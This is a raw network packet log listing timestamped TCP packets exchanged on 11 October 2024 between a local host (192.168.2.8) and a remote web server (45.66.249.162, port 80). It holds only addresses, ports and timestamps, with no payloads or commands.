Oct 11, 2024 22:32:33.014015913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.014017105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.014055014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.014059067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.014098883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.014100075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.014139891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.014143944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.014183044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163220882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163249016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163268089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163278103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163296938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163295984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163305998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163325071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163342953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163343906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163345098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163364887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163393974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163403988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163418055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163428068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163430929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163446903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163450003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163463116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163465977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163480043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163496971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163506031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163516998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163539886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163539886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163551092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163568020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163575888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163577080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163597107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163598061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163610935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163623095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163640022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163650036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163650036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163676023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163678885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163690090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163700104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163711071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163717985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163733006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163748980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163886070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163896084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163913012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163919926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163933992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163935900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163944960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163950920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163964987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163975000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.163985014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.163985014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164004087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164006948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164025068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164038897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164299011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164330959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164335966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164341927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164361000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164365053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164381981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164402008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164410114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164421082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164438009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164443016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164457083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164470911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164474964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164482117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164505005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164516926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164536953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164566040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164606094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164644003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164680004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164690971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164706945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164716959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164731026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164731979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164741039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164742947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164762974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164763927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164776087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164797068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164834023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164844990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164860964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164865971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164880991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164885044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164896011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164899111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164913893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164916992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164932013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164935112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164947987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164952993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164963007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164967060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.164980888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.164983988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165002108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165014982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165045023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165055990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165071011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165077925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165092945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165103912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165110111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165115118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165132999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165138006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165153980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165167093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165251017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165262938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165280104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165287018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165294886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165299892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165318012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165333986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165651083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165663004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165678978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165688038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165700912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165712118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165716887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165721893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.165745020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.165759087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166050911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166060925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166078091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166085005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166098118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166100025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166109085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166116953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166131973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166136026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166143894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166146994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166167021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166168928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166188002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166202068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166619062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166629076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166646957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166656017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166672945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166682005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166691065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166693926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166718960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166719913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166733980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166733980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166750908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166752100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166769981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166785955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166817904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166827917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.166853905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166876078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.166996002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.167031050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.167042971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.167052984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.167078018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.167078018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.167089939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.167088985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.167109013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.167113066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.167129040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.167140961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361382008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361421108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361432076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361463070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361474037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361495972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361510992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361510992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361510992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361510992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361525059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361562014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361562967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361567974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361569881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361582041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361599922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361603975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361629963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361632109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361656904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361668110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361670971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361670971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361686945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361697912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361706972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361718893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361732960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361736059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361746073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361761093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361768007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361778975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361787081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361802101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361803055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361819029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361824036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361835957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361840010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361854076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361855984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361870050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361872911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361886978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361902952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361907005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361907005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361922026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361931086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361941099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361947060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361960888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361967087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361978054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.361978054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361994028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.361998081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362013102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362026930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362078905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362099886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362112999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362118959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362131119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362133026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362145901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362149954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362170935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362180948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362183094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362199068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362221956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362222910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362236977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362243891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362256050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362261057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362272978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362279892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362288952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362298012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362304926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362317085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362333059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362333059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362344980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362348080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362356901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362376928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362377882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362391949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362399101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362411022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362416983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362426996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362435102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362443924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362468958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362476110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362478971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362490892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362508059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362509966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362523079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362525940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362543106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362560987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362617016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362632036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362647057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362648964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362662077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362665892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362680912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362682104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362695932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362699032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362715006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362715006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362726927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362742901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362751961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362767935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362778902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362797022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362802982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.362812042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.362828970 CEST	80	49707	45.66.249.162	192.168.2.8
